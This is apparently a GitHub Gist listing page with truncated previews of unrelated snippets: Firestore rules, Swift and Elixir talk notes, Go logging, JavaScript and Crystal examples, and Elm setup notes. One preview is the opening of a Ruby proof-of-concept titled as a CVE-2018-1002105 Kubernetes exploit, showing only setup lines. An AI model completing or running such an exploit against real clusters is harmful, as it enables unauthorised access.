Skip to content

Instantly share code, notes, and snippets.

@mogaming217
mogaming217 / checka-firestore.rules
Created February 6, 2019 02:46
何かおかしそうなところがあれば教えてください。
service cloud.firestore {
match /databases/{database}/documents {
match /groups/{groupID} {
allow get, update: if isAuthenticated() && isUserBelongingToThisGroup(groupID, request.auth.uid);
match /users/{userID} {
allow read: if isAuthenticated() && isUserBelongingToThisGroup(groupID, request.auth.uid);
}
match /boards/{boardID} {
@zelivans
zelivans / poc.rb
Last active August 14, 2020 20:21
CVE-2018-1002105 exploit
#!/usr/bin/env ruby
require 'socket'
require 'openssl'
require 'json'
host = 'kubernetes'
metrics = '/apis/metrics.k8s.io/v1beta1'
sock = TCPSocket.new host, 443

slidenumbers: true

SwiftのGenericsとProtocolの実装

omochimetaru

言語処理系勉強会 Vol.1


@osamu
osamu / biztrip.md
Last active March 10, 2019 02:59
俺の出張

海外出張によく行くプロジェクトがあって、その時に身につけた方法をメモ

荷造り

基本は、だいたいそれぞれのバックに入れっぱなし

キャリーバッグ(基本)

  • Macbook 延長ケーブル (会議室のコンセントの口が狭い、共有する必要がある)
  • シャンプー、洗顔、歯ブラシ(ジップロック入り)
  • 頭痛薬、胃薬、うこん (小ポーチ入り)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Elixir のプロジェクトに Pull Request を送った
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
tokyo.ex #9 https://beam-lang.connpass.com/event/103873/
LT
2018-10-21
=============
自己紹介
@sbuss
sbuss / main.go
Last active August 15, 2019 20:23
Stackdriver logging with request grouping for App Engine Go 1.11
// Sample logging-quickstart writes a log entry to Stackdriver Logging.
package main
import (
"context"
"fmt"
"log"
"net/http"
"os"
"strings"
@getify
getify / 1.js
Last active August 9, 2024 06:02
creating hard-bound methods on classes
class Foo {
constructor(x) { this.foo = x; }
hello() { console.log(this.foo); }
}
class Bar extends Foo {
constructor(x) { super(x); this.bar = x * 100; }
world() { console.log(this.bar); }
}
@ababup1192
ababup1192 / elm-hello-world.md
Last active June 29, 2020 08:31
Elmの開発環境を整えて、HelloWorldをするまで

ElmのHello Worldができるまで (2018 10/25)

nodeのインストール

  • 可能であれば、nvm, nodebrew等を使ってnodeをインストールする。

以下が、現時点(2018/9/3)の安定版のバージョン。

$ node -v
@fukaoi
fukaoi / polymorphism_proxy.cr
Last active June 21, 2018 11:24
Crystal Polymorphism example code
class A
def disp : String
"call A"
end
end
class B
def disp : String
"call B"
end
@fukaoi
fukaoi / monomorphism_proxy.cr
Last active June 21, 2018 11:24
Crystal Monomorphism example code
abstract class Parent #同じシグネチャなので、abstractを通して、制約をつける
abstract def disp
end
class A < Parent
def disp : String
"call A"
end
end